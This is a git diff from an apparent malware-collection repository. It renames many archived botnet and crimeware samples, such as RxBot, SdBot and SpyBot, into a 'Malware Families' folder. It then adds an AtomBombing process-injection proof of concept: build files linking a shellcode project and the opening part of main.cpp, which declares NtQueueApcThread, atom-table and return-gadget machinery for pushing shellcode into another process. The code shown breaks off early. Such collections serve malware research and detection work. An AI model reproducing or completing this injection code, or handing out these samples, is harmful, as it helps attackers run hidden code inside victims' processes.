Crimeware/Win32.RxBot/Win32.RxBot.r.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.r.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.a.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.a.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.a.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.w.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.w.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.w.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.w.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.w.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.w.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.s.w.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.s.w.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.t.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.t.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.t.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.t.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.u.a.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.u.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.u.a.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.u.a.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.x.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.x.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.x.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.x.rar diff --git a/Win32/Generic Crimeware/Win32.SdBot/Win32.Sd.a.7z b/Win32/Malware Families/Win32.SdBot/Win32.Sd.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.SdBot/Win32.Sd.a.7z rename to Win32/Malware Families/Win32.SdBot/Win32.Sd.a.7z diff --git a/Win32/Generic Crimeware/Win32.SdBot/Win32.Sd.x.7z b/Win32/Malware Families/Win32.SdBot/Win32.Sd.x.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.SdBot/Win32.Sd.x.7z rename to Win32/Malware Families/Win32.SdBot/Win32.Sd.x.7z diff --git a/Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.db.zip b/Win32/Malware Families/Win32.SdBot/Win32.SdBot.db.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.db.zip rename to Win32/Malware Families/Win32.SdBot/Win32.SdBot.db.zip diff --git a/Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.ea.zip b/Win32/Malware Families/Win32.SdBot/Win32.SdBot.ea.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.ea.zip rename to Win32/Malware Families/Win32.SdBot/Win32.SdBot.ea.zip diff --git a/Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.eb.ae.zip b/Win32/Malware Families/Win32.SdBot/Win32.SdBot.eb.ae.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.eb.ae.zip rename to Win32/Malware Families/Win32.SdBot/Win32.SdBot.eb.ae.zip diff --git a/Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.sy.7z b/Win32/Malware Families/Win32.SdBot/Win32.SdBot.sy.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.SdBot/Win32.SdBot.sy.7z rename to Win32/Malware Families/Win32.SdBot/Win32.SdBot.sy.7z diff --git a/Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.a.7z b/Win32/Malware Families/Win32.Shadow/Win32.Shadow.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.a.7z rename to Win32/Malware Families/Win32.Shadow/Win32.Shadow.a.7z diff --git a/Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.b.7z b/Win32/Malware Families/Win32.Shadow/Win32.Shadow.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.b.7z rename to Win32/Malware Families/Win32.Shadow/Win32.Shadow.b.7z diff --git a/Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.beta.7z b/Win32/Malware Families/Win32.Shadow/Win32.Shadow.beta.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.beta.7z rename to Win32/Malware Families/Win32.Shadow/Win32.Shadow.beta.7z diff --git a/Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.c.7z b/Win32/Malware Families/Win32.Shadow/Win32.Shadow.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.c.7z rename to Win32/Malware Families/Win32.Shadow/Win32.Shadow.c.7z diff --git a/Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.ra.7z b/Win32/Malware Families/Win32.Shadow/Win32.Shadow.ra.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Shadow/Win32.Shadow.ra.7z rename to Win32/Malware Families/Win32.Shadow/Win32.Shadow.ra.7z diff --git a/Win32/Generic Crimeware/Win32.Silkrope/Win32.SilkRope.a.7z b/Win32/Malware Families/Win32.Silkrope/Win32.SilkRope.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Silkrope/Win32.SilkRope.a.7z rename to Win32/Malware Families/Win32.Silkrope/Win32.SilkRope.a.7z diff --git a/Win32/Generic Crimeware/Win32.Silkrope/Win32.Silkrope.aa.7z b/Win32/Malware Families/Win32.Silkrope/Win32.Silkrope.aa.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Silkrope/Win32.Silkrope.aa.7z rename to Win32/Malware Families/Win32.Silkrope/Win32.Silkrope.aa.7z diff --git a/Win32/Generic Crimeware/Win32.Silkrope/Win32.Silkrope.b.7z b/Win32/Malware Families/Win32.Silkrope/Win32.Silkrope.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Silkrope/Win32.Silkrope.b.7z rename to Win32/Malware Families/Win32.Silkrope/Win32.Silkrope.b.7z diff --git a/Win32/Generic Crimeware/Win32.Snag/Win32.Snag.a.7z b/Win32/Malware Families/Win32.Snag/Win32.Snag.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Snag/Win32.Snag.a.7z rename to Win32/Malware Families/Win32.Snag/Win32.Snag.a.7z diff --git a/Win32/Generic Crimeware/Win32.Snag/Win32.Snag.b.7z b/Win32/Malware Families/Win32.Snag/Win32.Snag.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Snag/Win32.Snag.b.7z rename to Win32/Malware Families/Win32.Snag/Win32.Snag.b.7z diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.a.b.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.a.b.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.a.b.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.a.b.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.a.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.a.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.a.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.a.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.b.rar b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.b.rar rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.b.rar diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.b.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.b.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.b.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.b.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.c.a.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.c.a.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.c.a.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.c.a.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.c.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.c.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.c.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.c.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.d.a.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.d.a.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.d.a.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.d.a.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.d.zip b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.d.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.d.zip rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.d.zip diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.e.rar b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.e.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.a.e.rar rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.a.e.rar diff --git a/Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.b.rar b/Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.SpyBot/Win32.SpyBot.b.rar rename to Win32/Malware Families/Win32.SpyBot/Win32.SpyBot.b.rar diff --git a/Win32/Generic Crimeware/Win32.StillCrow/Win32.StillCrow.a.7z b/Win32/Malware Families/Win32.StillCrow/Win32.StillCrow.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.StillCrow/Win32.StillCrow.a.7z rename to Win32/Malware Families/Win32.StillCrow/Win32.StillCrow.a.7z diff --git a/Win32/Generic Crimeware/Win32.StillCrow/Win32.StillCrow.c.7z b/Win32/Malware Families/Win32.StillCrow/Win32.StillCrow.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.StillCrow/Win32.StillCrow.c.7z rename to Win32/Malware Families/Win32.StillCrow/Win32.StillCrow.c.7z diff --git a/Win32/Generic Crimeware/Win32.StillCrow/Win32.StillCrow.i.7z b/Win32/Malware Families/Win32.StillCrow/Win32.StillCrow.i.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.StillCrow/Win32.StillCrow.i.7z rename to Win32/Malware Families/Win32.StillCrow/Win32.StillCrow.i.7z diff --git a/Win32/Generic Crimeware/Win32.SvBot/Win32.SvBot.a.7z b/Win32/Malware Families/Win32.SvBot/Win32.SvBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.SvBot/Win32.SvBot.a.7z rename to Win32/Malware Families/Win32.SvBot/Win32.SvBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.SvBot/Win32.SvBot.ax.rar b/Win32/Malware Families/Win32.SvBot/Win32.SvBot.ax.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.SvBot/Win32.SvBot.ax.rar rename to Win32/Malware Families/Win32.SvBot/Win32.SvBot.ax.rar diff --git a/Win32/Generic Crimeware/Win32.SvBot/Win32.SvBot.b.7z b/Win32/Malware Families/Win32.SvBot/Win32.SvBot.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.SvBot/Win32.SvBot.b.7z rename to Win32/Malware Families/Win32.SvBot/Win32.SvBot.b.7z diff --git a/Win32/Generic Crimeware/Win32.UrxBot/Win32.UrxBot.a.a.rar b/Win32/Malware Families/Win32.UrxBot/Win32.UrxBot.a.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.UrxBot/Win32.UrxBot.a.a.rar rename to Win32/Malware Families/Win32.UrxBot/Win32.UrxBot.a.a.rar diff --git a/Win32/Generic Crimeware/Win32.UrxBot/Win32.UrxBot.a.b.rar b/Win32/Malware Families/Win32.UrxBot/Win32.UrxBot.a.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.UrxBot/Win32.UrxBot.a.b.rar rename to Win32/Malware Families/Win32.UrxBot/Win32.UrxBot.a.b.rar diff --git a/Win32/Generic Crimeware/Win32.UrxBot/Win32.UrxBot.lc.rar b/Win32/Malware Families/Win32.UrxBot/Win32.UrxBot.lc.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.UrxBot/Win32.UrxBot.lc.rar rename to Win32/Malware Families/Win32.UrxBot/Win32.UrxBot.lc.rar diff --git a/Win32/Generic Crimeware/Win32.UrxBot/Win32.Urxbot.lb.rar b/Win32/Malware Families/Win32.UrxBot/Win32.Urxbot.lb.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.UrxBot/Win32.Urxbot.lb.rar rename to Win32/Malware Families/Win32.UrxBot/Win32.Urxbot.lb.rar diff --git a/Win32/Generic Crimeware/Win32.Wisdom/Win32.Wisdom.c.7z b/Win32/Malware Families/Win32.Wisdom/Win32.Wisdom.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Wisdom/Win32.Wisdom.c.7z rename to Win32/Malware Families/Win32.Wisdom/Win32.Wisdom.c.7z diff --git a/Win32/Generic Crimeware/Win32.Wisdom/Win32.Wisdom.p.zip b/Win32/Malware Families/Win32.Wisdom/Win32.Wisdom.p.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Wisdom/Win32.Wisdom.p.zip rename to Win32/Malware Families/Win32.Wisdom/Win32.Wisdom.p.zip diff --git a/Win32/Proof of Concepts/AtomBombingInjection/.gitignore b/Win32/Proof of Concepts/AtomBombingInjection/.gitignore new file mode 100644 index 00000000..f1e3d20e --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/.gitignore @@ -0,0 +1,252 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ + +# Visual Studio 2015 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config +# NuGet v3's project.json files produces more ignoreable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# JetBrains Rider +.idea/ +*.sln.iml diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing.sln b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing.sln new file mode 100644 index 00000000..acda097c --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombing", "AtomBombing\AtomBombing.vcxproj", "{D303FA55-CFF8-4484-888A-F06B21559014}" + ProjectSection(ProjectDependencies) = postProject + {DAD3D2B2-372F-4486-91FA-032CC0AA1133} = {DAD3D2B2-372F-4486-91FA-032CC0AA1133} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombingShellcode", "AtomBombingShellcode\AtomBombingShellcode.vcxproj", "{DAD3D2B2-372F-4486-91FA-032CC0AA1133}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.ActiveCfg = Release|Win32 + {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.Build.0 = Release|Win32 + {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.ActiveCfg = Release|Win32 + {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.Build.0 = Release|Win32 + {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.ActiveCfg = Release|Win32 + {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.Build.0 = Release|Win32 + {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.ActiveCfg = Release|Win32 + {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj new file mode 100644 index 00000000..dfb483a2 --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj @@ -0,0 +1,58 @@ + + + + + Release + Win32 + + + + {D303FA55-CFF8-4484-888A-F06B21559014} + Win32Proj + AtomBombing + + + + Application + false + v120 + true + Unicode + + + + + + + + + + false + + + + Level4 + + + Disabled + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + false + + + Console + true + true + true + ntdll.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj.filters b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj.filters new file mode 100644 index 00000000..0d8d9e45 --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/main.cpp b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/main.cpp new file mode 100644 index 00000000..b7cb7c4c --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/main.cpp @@ -0,0 +1,1796 @@ +#include +#include +#include +#include + +#include "..\Release\AtomBombingShellcode.h" + +#define RTL_MAXIMUM_ATOM_LENGTH (255) +#define SHELLCODE_FUNCTION_POINTERS_OFFSET (25) + +#define X86_RET ('\xc3') + +#define TEXT_SECTION (".text") +#define DATA_SECTION (".data") + +#define NTDLL ("ntdll.dll") +#define KERNEL32 ("kernel32.dll") +#define NTSETCONTEXTTHREAD ("NtSetContextThread") +#define NTWAITFORSINGLEOBJECT ("NtWaitForSingleObject") +#define MEMCPY ("memcpy") +#define GETPROCADDRESS ("GetProcAddress") +#define LOADLIBRARYA ("LoadLibraryA") +#define GLOBALGETATOMNAMEW ("GlobalGetAtomNameW") +#define NTQUEUEAPCTHREAD ("NtQueueApcThread") +#define WAITFORSINGLEOBJECTEX ("WaitForSingleObjectEx") + + +typedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2 + ); + +typedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle, + PKNORMAL_ROUTINE ApcRoutine, + PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2 + ); + +typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)( + HANDLE ProcessHandle, + DWORD ProcessInformationClass, + PVOID ProcessInformation, + DWORD ProcessInformationLength, + PDWORD ReturnLength + ); + +#pragma pack(push, 1) +typedef struct _FUNCTIONPOINTERS +{ + void *pfnLoadLibraryA; + void *pfnGetProcAddress; +} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS; +#pragma pack(pop) + +typedef enum _ESTATUS +{ + ESTATUS_INVALID = -1, + ESTATUS_SUCCESS = 0, + + ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100, + + ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED, + + ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED, + + ESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR, + + ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR, + + ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR, + ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR, + ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND, + + ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED, + + ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED, + ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED, + + ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED, + ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED, + ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED, + + ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL, + + ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND, + + ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED, + ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED, + ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED, + + ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND, + + ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED, + + ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED, + ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND, + + ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED, + ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED, + + ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED, + ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED, + ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH, + + ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED, + + ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED, + ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED, + + ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED, + + ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED, + ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED, + ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED, + ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED, + ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED, + +} ESTATUS, *PESTATUS; + +#define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus) + +ESTATUS GetFunctionAddressFromDll( + PSTR pszDllName, + PSTR pszFunctionName, + PVOID *ppvFunctionAddress + ) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED; + goto lblCleanup; + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL 